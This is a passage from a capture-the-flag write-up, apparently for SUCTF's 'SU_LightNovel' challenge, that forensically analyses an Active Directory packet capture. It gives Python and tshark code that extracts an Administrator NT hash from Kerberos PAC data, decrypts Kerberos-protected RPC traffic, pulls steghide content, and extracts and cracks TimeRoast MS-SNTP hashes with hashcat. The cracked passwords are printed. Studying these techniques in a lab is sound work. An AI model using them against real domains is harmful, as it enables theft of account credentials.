pac = PACTYPE(pac_blob)
bufs = pac["Buffers"]
credinfo = None
for _ in range(pac["cBuffers"]):
    info = PAC_INFO_BUFFER(bufs[:16])
    if info["ulType"] == PAC_CREDENTIALS_INFO:
        raw = pac_blob[info["Offset"]:info["Offset"] + info["cbBufferSize"]]
        credinfo = PAC_CREDENTIAL_INFO(raw)
        break
    bufs = bufs[16:]

# 7. Decrypt PAC_CREDENTIAL_INFO SerializedData with AS-REP key, usage 16
dec = _enctype_table[int(credinfo["EncryptionType"])].decrypt(
    Key(int(credinfo["EncryptionType"]), asrep_key),
    16,
    credinfo["SerializedData"]
)

# 8. In this sample, the NTLM_SUPPLEMENTAL_CREDENTIAL starts at 0x44
#    Layout there is: Version(4) Flags(4) LM(16) NT(16)
nt_hash = dec[0x5c:0x6c].hex()
print("Administrator NT hash =", nt_hash)
#Administrator NT hash = bedcf78571904538b1919672e4521c4e

https://hashes.com/zh/decrypt/hash

SU_LightNovel analysis screenshot 6

Taylor@1989

Restore the administrator session and extract flag.jpg

Continue making keytabs and restore Kerberos traffic.

SU_LightNovel analysis screenshot 7

The last section of the administrator login corresponds to:

  • frame 2671:AS-REQ
  • frame 2672:KRB5KDC_ERR_PREAUTH_REQUIRED
  • frame 2680:AS-REQ
  • frame 2681:AS-REP
  • frame 2689:TGS-REQ
  • frame 2691:TGS-REP
  • frame 2696/2698/2700: Subsequent AP interaction
import subprocess, re, base64
from pathlib import Path

out = subprocess.check_output([
    'tshark',
    '-o', 'kerberos.decrypt:TRUE',
    '-o', 'kerberos.file:login.keytab',
    '-r', 'suctf-ad.pcapng',
    '-Y', 'tcp.stream==10 && dcerpc.cn_call_id==21 && dcerpc.pkt_type==2',
    '-T', 'fields',
    '-e', 'frame.number',
    '-e', 'dcerpc.decrypted_stub_data'
], text=True, encoding='utf-8', errors='ignore')

parts = []
for line in out.splitlines():
    if '\t' not in line:
        continue
    fr, hexdata = line.split('\t', 1)
    hexonly = re.sub(r'[^0-9A-Fa-f]', '', hexdata)
    if not hexonly:
        continue
    parts.append((int(fr), hexonly))

parts.sort()
full = b''.join(bytes.fromhex(h) for _, h in parts)

idx = full.find(b'<\x00?\x00x\x00m\x00l\x00')
if idx == -1:
    idx = full.find(b'<\x00T\x00a\x00s\x00k\x00')
if idx == -1:
    raise SystemExit('Task XML not found')

xml = full[idx:].decode('utf-16le', errors='ignore')
end = xml.find('</Task>')
if end == -1:
    raise SystemExit('</Task> not found')
xml = xml[:end + 7]

Path('stream10_retrieve.xml').write_text(xml, encoding='utf-8')

m = re.search(r'<Description>(.*?)</Description>', xml, re.S)
if not m:
    raise SystemExit('Description not found')

raw = base64.b64decode(m.group(1))
Path('flag.jpg').write_bytes(raw)

print('wrote stream10_retrieve.xml')
print('wrote flag.jpg', len(raw), raw[:4])

SU_LightNovel analysis screenshot 8

steghide info flag.jpg -p 'Taylor@1989'
"flag.jpg":
  format: jpeg
  capacity: 40.9 KB
  embedded file "flag.txt":
    size: 236.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes
steghide extract -sf flag.jpg -p 'Taylor@1989'

QqWLN5rRRL3PaY57fcy8BCHVa/0td+R6LmenlhPZ1JHVgLeRKw9g53EJv3/fx+92i7ZQkQCciC3xGccbf8NAT8Z9LJdc6mtfIIQcpe0hh2dNSHVUDXE/esTeJ3zIUGAh09N6SQBCQqIa4IX529QjTrwMphzfwIN8mgAjgx6jJ3Um3bSnxkIO9hJJL5+Xxjs/0LRx7QwELhDzuA9+m7vaFwKzKclwT+MnsrXA942K3wQ=

TimeRoast and the final decryption

The final technique is TimeRoast:

https://www.thehacker.recipes/ad/movement/kerberos/timeroast

It’s also a place where things get stuck.

This step uses the Microsoft NTP extension (MS-SNTP). Domain-joined machines synchronize their clocks with the domain controller.

Windows adds an authentication extension to NTP. The domain controller uses the machine account NT hash to calculate the MAC.

Extract TimeRoast hash from pcap

The server response is located at frames 775 and 789, which provide the data required by TimeRoast.

import subprocess, struct

for fr in [775, 789]:
    out = subprocess.check_output(
        ['tshark', '-r', 'suctf-ad.pcapng', '-Y', f'frame.number=={fr}', '-T', 'fields', '-e', 'udp.payload'],
        text=True
    ).strip().replace(':', '')
    raw = bytes.fromhex(out)

    salt = raw[:48]
    rid  = struct.unpack('<I', raw[-20:-16])[0]
    md5h = raw[-16:]

    print(f'{rid}:$sntp-ms${md5h.hex()}${salt.hex()}')
$sntp-ms$cb1877ec7aeeffb785f5689e483f0a3b$1c0111e900000000000a4c034c4f434ced54e820c41a9b8ce1b8428bffbfcd0aed554c56e832914ced554c56e833a7cd
$sntp-ms$8e8bab42e2cac7e5ef5d252f1eb63a5b$1c0111e900000000000a4c274c4f434ced54e820c5fea811e1b8428bffbfcd0aed554c868a16e29aed554c868a176f88

Crack the hash:

\hashcat.exe -m 31300 --username .\timeroast_hashes.txt rockyou.txt
$sntp-ms$8e8bab42e2cac7e5ef5d252f1eb63a5b$1c0111e900000000000a4c274c4f434ced54e820c5fea811e1b8428bffbfcd0aed554c868a16e29aed554c868a176f88:*joker*123

The recovered plaintext is:

*joker*123
from pathlib import Path
import base64, hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

raw = base64.b64decode(Path("flag.txt").read_text().strip())
key = hashlib.sha256(b"*joker*123").digest()
iv = raw[:16]
ct = raw[16:]
pt = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ct), 16)
print(pt.decode())

Finally, recover the flag:

SUCTF{7h47_71m3_1_Cr4ck3d_3v3ry_3ncryp710n_1n_7h3_C7F_45_4_G3n1u5_H4ck3r_0nly_70_F1nd_7h3_Ul71m473_H1dd3n_Fl4g_15_7h3_P33rl355_B34u7y_K4nn0_5370!!!!}

SU_LightNovel analysis screenshot 9

Comments

Sign in with GitHub to join the conversation. Both language versions share the same comments.

View on GitHub